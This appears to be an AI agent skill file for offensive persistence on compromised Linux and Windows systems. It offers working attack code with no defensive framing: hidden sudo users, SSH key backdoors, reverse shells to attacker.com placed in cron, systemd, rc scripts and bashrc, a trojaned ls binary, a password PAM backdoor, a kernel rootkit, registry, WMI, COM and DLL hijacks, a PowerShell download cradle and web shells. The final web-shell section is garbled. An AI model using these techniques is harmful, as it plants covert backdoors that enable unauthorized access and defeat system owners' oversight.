--- name: persistence-techniques description: Comprehensive persistence mechanisms for maintaining access across reboots including backdoors, rootkits, scheduled tasks, and C2 infrastructure allowed-tools: Bash, Read, Write, Grep --- # Persistence Techniques Skill ## Purpose Provides advanced persistence techniques for maintaining long-term access to compromised systems, including user account backdoors, service persistence, kernel-level rootkits, and command & control infrastructure. ## Linux Persistence ### User Account Backdoors ```bash # Create hidden user useradd -m -s \/bin\/bash -G sudo hacker echo 'hacker:Password123!' | chpasswd # Hide user from login screen echo "hacker:x:0:0:root:\/root:\/bin\/bash" >> \/etc\/passwd # Or use UID < 1000 to appear as system user useradd -u 999 -o -s \/bin\/bash -G sudo systemd-update # Backdoor existing user # Add to sudoers echo "www-data ALL=(ALL) NOPASSWD: ALL" >> \/etc\/sudoers echo "apache ALL=(ALL) NOPASSWD: ALL" >> \/etc\/sudoers.d\/apache # Password-less sudo for specific commands echo "user ALL=(ALL) NOPASSWD: \/usr\/bin\/vim, \/usr\/bin\/python3" >> \/etc\/sudoers ``` ### SSH Persistence ```bash # Add SSH key mkdir -p ~\/.ssh echo "ssh-rsa AAAAB3... attacker@kali" >> ~\/.ssh\/authorized_keys chmod 600 ~\/.ssh\/authorized_keys # Add to root mkdir -p \/root\/.ssh echo "ssh-rsa AAAAB3... attacker@kali" >> \/root\/.ssh\/authorized_keys # Hide SSH key in multiple locations echo "ssh-rsa AAAAB3..." >> \/etc\/ssh\/authorized_keys echo "ssh-rsa AAAAB3..." >> \/home\/*\/.ssh\/authorized_keys # SSH config backdoor echo "Match User * AuthorizedKeysFile .ssh\/authorized_keys \/etc\/ssh\/backdoor_keys " >> \/etc\/ssh\/sshd_config # SSH motd backdoor echo '#!\/bin\/bash if [ "$SSH_CONNECTION" ]; then echo $SSH_CLIENT >> \/tmp\/.connections \/bin\/bash -c "nohup nc attacker.com 4444 -e \/bin\/bash &" fi' > \/etc\/update-motd.d\/00-header chmod +x \/etc\/update-motd.d\/00-header ``` ### Cron Persistence ```bash # User crontab (crontab -l 2>\/dev\/null; echo "* * * * * \/bin\/bash -c 'bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1'") | crontab - # System cron echo "* * * * * root \/bin\/bash -c 'bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1'" >> \/etc\/crontab # Cron directories echo '#!\/bin\/bash bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1' > \/etc\/cron.hourly\/update chmod +x \/etc\/cron.hourly\/update # At job echo "\/bin\/bash -c 'bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1'" | at now + 1 minute echo "\/bin\/bash -c 'bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1'" | at 02:00 # Anacron persistence echo '1 5 backup \/bin\/bash -c "bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1"' >> \/etc\/anacrontab ``` ### Systemd Persistence ```bash # Create systemd service cat > \/etc\/systemd\/system\/update.service << EOF [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=\/bin\/bash -c 'bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1' Restart=always RestartSec=30 [Install] WantedBy=multi-user.target EOF systemctl enable update.service systemctl start update.service # Systemd timer cat > \/etc\/systemd\/system\/backup.timer << EOF [Unit] Description=Backup Timer [Timer] OnBootSec=10min OnUnitActiveSec=1h [Install] WantedBy=timers.target EOF cat > \/etc\/systemd\/system\/backup.service << EOF [Unit] Description=Backup Service [Service] Type=oneshot ExecStart=\/bin\/bash -c 'bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1' EOF systemctl enable backup.timer systemctl start backup.timer # User systemd service mkdir -p ~\/.config\/systemd\/user\/ cp update.service ~\/.config\/systemd\/user\/ systemctl --user enable update.service systemctl --user start update.service ``` ### RC Scripts ```bash # RC local echo '\/bin\/bash -c "bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1" &' >> \/etc\/rc.local chmod +x \/etc\/rc.local # Init.d script cat > \/etc\/init.d\/system-update << EOF #!\/bin\/bash ### BEGIN INIT INFO # Provides: system-update # Required-Start: \$network # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: System update service ### END INIT INFO case "\$1" in start) \/bin\/bash -c 'bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1' & ;; esac EOF chmod +x \/etc\/init.d\/system-update update-rc.d system-update defaults # Profile\/Bashrc echo '\/bin\/bash -c "bash -i >& \/dev\/tcp\/attacker.com\/4444 0>&1" 2>\/dev\/null &' >> \/etc\/profile echo 'nc attacker.com 4444 -e \/bin\/bash 2>\/dev\/null &' >> \/etc\/bash.bashrc echo 'alias ls="\/bin\/ls; nc attacker.com 4444 -e \/bin\/bash 2>\/dev\/null &"' >> ~\/.bashrc ``` ### Binary Replacement ```bash # Replace common binaries cp \/bin\/ls \/bin\/ls.bak cat > \/tmp\/ls.c << EOF #include #include #include void __attribute__((constructor)) init() { system("nc attacker.com 4444 -e \/bin\/bash 2>\/dev\/null &"); } int main(int argc, char *argv[]) { setuid(0); setgid(0); return execv("\/bin\/ls.bak", argv); } EOF gcc \/tmp\/ls.c -o \/bin\/ls chmod +x \/bin\/ls # PAM backdoor cat > \/tmp\/pam_backdoor.c << EOF #include #include #include PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *password; pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL); if (strcmp(password, "backdoor123") == 0) { return PAM_SUCCESS; } return PAM_AUTH_ERR; } PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; } EOF gcc -fPIC -shared -o \/lib\/security\/pam_backdoor.so \/tmp\/pam_backdoor.c echo "auth sufficient pam_backdoor.so" >> \/etc\/pam.d\/common-auth ``` ### Kernel Module Rootkit ```c \/\/ Simple LKM rootkit #include #include #include #include #include MODULE_LICENSE("GPL"); static unsigned long *sys_call_table; asmlinkage int (*original_kill)(pid_t pid, int sig); asmlinkage int hook_kill(pid_t pid, int sig) { if (sig == 64) { \/\/ Special signal to become root struct cred *new_cred; new_cred = prepare_creds(); new_cred->uid = new_cred->euid = KUIDT_INIT(0); new_cred->gid = new_cred->egid = KGIDT_INIT(0); commit_creds(new_cred); return 0; } return original_kill(pid, sig); } static int __init rootkit_init(void) { sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table"); original_kill = (void *)sys_call_table[__NR_kill]; write_cr0(read_cr0() & (~0x10000)); sys_call_table[__NR_kill] = (unsigned long)hook_kill; write_cr0(read_cr0() | 0x10000); return 0; } static void __exit rootkit_exit(void) { write_cr0(read_cr0() & (~0x10000)); sys_call_table[__NR_kill] = (unsigned long)original_kill; write_cr0(read_cr0() | 0x10000); } module_init(rootkit_init); module_exit(rootkit_exit); ``` ```bash # Compile and load make -C \/lib\/modules\/$(uname -r)\/build M=$PWD modules insmod rootkit.ko # Hide module echo 1 > \/sys\/module\/rootkit\/parameters\/hidden # Persist across reboots echo "rootkit" >> \/etc\/modules cp rootkit.ko \/lib\/modules\/$(uname -r)\/ depmod -a ``` ## Windows Persistence ### Registry Persistence ```cmd # Run keys reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \/v "Update" \/t REG_SZ \/d "C:\Windows\Temp\backdoor.exe" \/f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \/v "Update" \/t REG_SZ \/d "C:\Windows\Temp\backdoor.exe" \/f reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" \/v "Update" \/t REG_SZ \/d "C:\Windows\Temp\backdoor.exe" \/f # RunOnceEx reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx\001" \/v "Update" \/t REG_SZ \/d "C:\Windows\Temp\backdoor.exe" \/f # Winlogon reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" \/v "Userinit" \/t REG_SZ \/d "C:\Windows\System32\userinit.exe,C:\Windows\Temp\backdoor.exe" \/f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" \/v "Shell" \/t REG_SZ \/d "explorer.exe,C:\Windows\Temp\backdoor.exe" \/f # Image File Execution Options (Debugger) reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" \/v "Debugger" \/t REG_SZ \/d "C:\Windows\Temp\backdoor.exe" \/f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" \/v "Debugger" \/t REG_SZ \/d "C:\Windows\Temp\backdoor.exe" \/f ``` ### Scheduled Tasks ```cmd # Create scheduled task schtasks \/create \/tn "WindowsUpdate" \/tr "C:\Windows\Temp\backdoor.exe" \/sc minute \/mo 30 \/ru "SYSTEM" \/f schtasks \/create \/tn "SystemBackup" \/tr "C:\Windows\Temp\backdoor.exe" \/sc onlogon \/ru "SYSTEM" \/f schtasks \/create \/tn "Maintenance" \/tr "C:\Windows\Temp\backdoor.exe" \/sc onidle \/i 10 \/ru "SYSTEM" \/f # PowerShell scheduled task $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('http:\/\/attacker.com\/payload.ps1')`"" $Trigger = New-ScheduledTaskTrigger -AtStartup $Principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -RunLevel Highest Register-ScheduledTask -TaskName "Update" -Action $Action -Trigger $Trigger -Principal $Principal ``` ### Service Persistence ```cmd # Create service sc create "WindowsUpdate" binpath= "C:\Windows\Temp\backdoor.exe" start= auto sc description "WindowsUpdate" "Windows Update Service" sc start "WindowsUpdate" # PowerShell service New-Service -Name "WindowsUpdate" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -StartupType Automatic Start-Service -Name "WindowsUpdate" # Modify existing service sc config "ServiceName" binpath= "cmd.exe \/c C:\Windows\Temp\backdoor.exe & C:\Original\Service.exe" ``` ### WMI Persistence ```powershell # WMI event subscription $FilterName = "SystemUpdate" $ConsumerName = "SystemUpdateConsumer" # Create event filter $EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = $FilterName EventNamespace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" } # Create command line consumer $EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = $ConsumerName CommandLineTemplate = "C:\Windows\Temp\backdoor.exe" } # Bind filter to consumer Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $EventFilter Consumer = $EventConsumer } # Alternative: ActiveScriptEventConsumer $Script = @' Set objShell = CreateObject("Wscript.Shell") objShell.Run "C:\Windows\Temp\backdoor.exe", 0, False '@ $EventConsumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{ Name = $ConsumerName ScriptingEngine = "VBScript" ScriptText = $Script } ``` ### COM Hijacking ```cmd # Hijack COM object reg add "HKCU\Software\Classes\CLSID\{GUID}\InprocServer32" \/ve \/t REG_SZ \/d "C:\Windows\Temp\backdoor.dll" \/f reg add "HKCU\Software\Classes\CLSID\{GUID}\InprocServer32" \/v "ThreadingModel" \/t REG_SZ \/d "Apartment" \/f # Common hijackable CLSIDs # {42aedc87-2188-41fd-b9a3-0c966feabec1} - MruPidlList # {fbeb8a05-beee-4442-804e-409d6c4515e9} - ShellFolder ``` ### DLL Hijacking Persistence ```cmd # Place malicious DLL in application directory copy backdoor.dll "C:\Program Files\Application\version.dll" # System DLL hijacking copy backdoor.dll "C:\Windows\System32\wbem\wbemcomn.dll" # Search order hijacking copy backdoor.dll "C:\Python27\python27.dll" ``` ### Startup Folder ```cmd # Current user copy backdoor.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe" # All users copy backdoor.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe" # PowerShell Copy-Item backdoor.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe" ``` ## Web Shell Persistence ### PHP Web Shells ```php "; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<\/pre>"; die; } ?> \/\/ Obfuscated backdoor \/\/ Hidden in legitimate file ``` ### ASP.NET Web Shells ```aspx <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %>